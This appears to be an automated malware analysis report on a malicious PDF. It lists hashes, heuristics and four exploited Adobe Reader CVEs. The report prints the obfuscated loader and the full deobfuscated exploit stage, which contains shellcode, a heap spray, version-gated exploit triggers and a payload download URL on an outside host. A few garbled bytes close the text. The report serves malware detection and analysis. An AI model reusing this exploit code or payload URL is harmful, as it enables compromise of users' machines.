Malicious PDF — malware analysis report

Static analysis result for SHA-256 3e840e5862901795…

MALICIOUS

PDF

12.4 KB Created: 2010-03-20 06:46:49 Authoring application: Babeviqeroxiqopiwaka First seen: 2026-05-11
MD5: db4305eafa11d179f45decfe4233ae51 SHA-1: d863167b95f3f79d13b8024c7953e8baac78b0f7 SHA-256: 3e840e58629017954c323215bba1e757ef4b753e7aae1372b8572a51d012de51
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript, indicated by heuristic firings and the presence of a javascript_obj0018_000.js artifact. The ML classifier strongly suggests malicious intent. The document body contains seemingly random text, but the presence of JavaScript actions and streams points towards an attempt to execute malicious code upon opening the PDF. The exact function of the JavaScript is unclear due to obfuscation, but it is likely a downloader or exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://merchant-hello.com/j7/banner.php/84fbb823c68056d2c53c6601c2be10eb?spl=pdf_2010 Referenced by PDF JavaScript

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0018_000.js pdf-javascript-stream PDF /JS object 18 at offset 0x2AE3 2195 bytes
SHA-256: 7ece7a2c8405d50b702defe47b362c89bc8c97fece73d4b42cbdc4e05c8ccfd1
Preview script
First 1,000 lines of the extracted script
var editD		=		this		;				var mail		=		[		"l"		,		"e"		,		"a"		,		""		,		"v"		];		a		=		new		 String		(		mail		[		1		]		+		mail		[		4		]		+		mail		[		2		]		+		mail		[		0		]		+		mail		[		3		]		)		;				var d		=		[		"getPa"		,		"geNth"		,		""		,		"Word"		];		mailA		=		new		 String		(		d		[		0		]		+		d		[		1		]		+		d		[		3		]		+		d		[		2		]		)		;				var editMail		=		[		"eNu"		,		"get"		,		""		,		"Pag"		,		"mWo"		,		"rds"		];		send		=		new		 String		(		editMail		[		1		]		+		editMail		[		3		]		+		editMail		[		0		]		+		editMail		[		4		]		+		editMail		[		5		]		+		editMail		[		2		]		)		;				var sendEdit		=		[		"u"		,		"a"		,		"s"		,		"e"		,		"c"		,		"p"		,		"n"		,		""		,		"e"		];		dSend		=		new		 String		(		sendEdit		[		0		]		+		sendEdit		[		6		]		+		sendEdit		[		3		]		+		sendEdit		[		2		]		+		sendEdit		[		4		]		+		sendEdit		[		1		]		+		sendEdit		[		5		]		+		sendEdit		[		3		]		+		sendEdit		[		7		]		)		;				var b		=		[		"rCo"		,		"t"		,		""		,		"deA"		,		"cha"		];		unlock		=		new		 String		(		b		[		4		]		+		b		[		0		]		+		b		[		3		]		+		b		[		1		]		+		b		[		2		]		)		;				var google		=		[		"fromC"		,		"de"		,		"harCo"		,		""		];		sendC		=		new		 String		(		google		[		0		]		+		google		[		2		]		+		google		[		1		]		+		google		[		3		]		)		;				var cEdit		=		[		"p"		,		"p"		,		"a"		,		""		];		sendAdobe		=		new		 String		(		cEdit		[		2		]		+		cEdit		[		0		]		+		cEdit		[		0		]		+		cEdit		[		3		]		)		;						var		 cGet		=		"Rgz%".substr(3)		;		var		 adobe		=		2		;		var		 googleSend		=		String		;		var		 sendB		=		0		;		var		 unlockGet		=		137		;		var		 sendAdobe		=		editD		[		sendAdobe		]		;		var		 sendA		=		2		;		var		 googleEdit		=		editD		[		dSend		]		;		var		 mailEdit		=		editD		[		send		]		(		sendA		)		;		var		 edit		=		""		;				for		(		var		 editGet		=		sendB		;		editGet		<		mailEdit		;		editGet		+=		1		)		{				cAdobe=editD		[		mailA		]		(		sendA		,		editGet		)		;		var		 editB		=		cAdobe		.		substr		(		cAdobe		.		length		-		adobe		,		adobe		)		;		var		 editUnlock		=		googleEdit		(		cGet		+		editB		)		;		var		 c		=		editUnlock		[		unlock		]		(		sendB		)		;		var		 bD		=		c		^		unlockGet		;		edit		+=		googleSend		[		sendC		]		(		bD		)		;		}		this		[		a		]		(		edit		)		;
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3654 bytes
SHA-256: 018dcdeb969a59fce78d6c526c54ef9abc2bca771badd0aa52022c8ee536c1e2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://merchant-hello.com/j7/banner.php/84fbb823c68056d2c53c6601c2be10eb?spl=pdf_2010  */
var _u="http://merchant-hello.com/j7/banner.php/84fbb823c68056d2c53c6601c2be10eb?spl=pdf_2010 ";
C'gdCdGGCCGgdgdG'GGW$$GG$GGGGWGGdGdGd2WGC2WGdWd2WdGGC2WGGGdG
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

"Gb""g$C"GbC"GgCC"C"GdGG'''G%CG'GdC%'GGGGCCGdGG'G'C%%dGdCGdvddd'dGgG2GGdCGG2Gd2dGgCCvW'vWWWGgGdCGCWW'GCGGv%GgG%'%GdgGgGG%'SS%SG%G'dG'dgGd'GgdgGgGSRS777R4 �� ��

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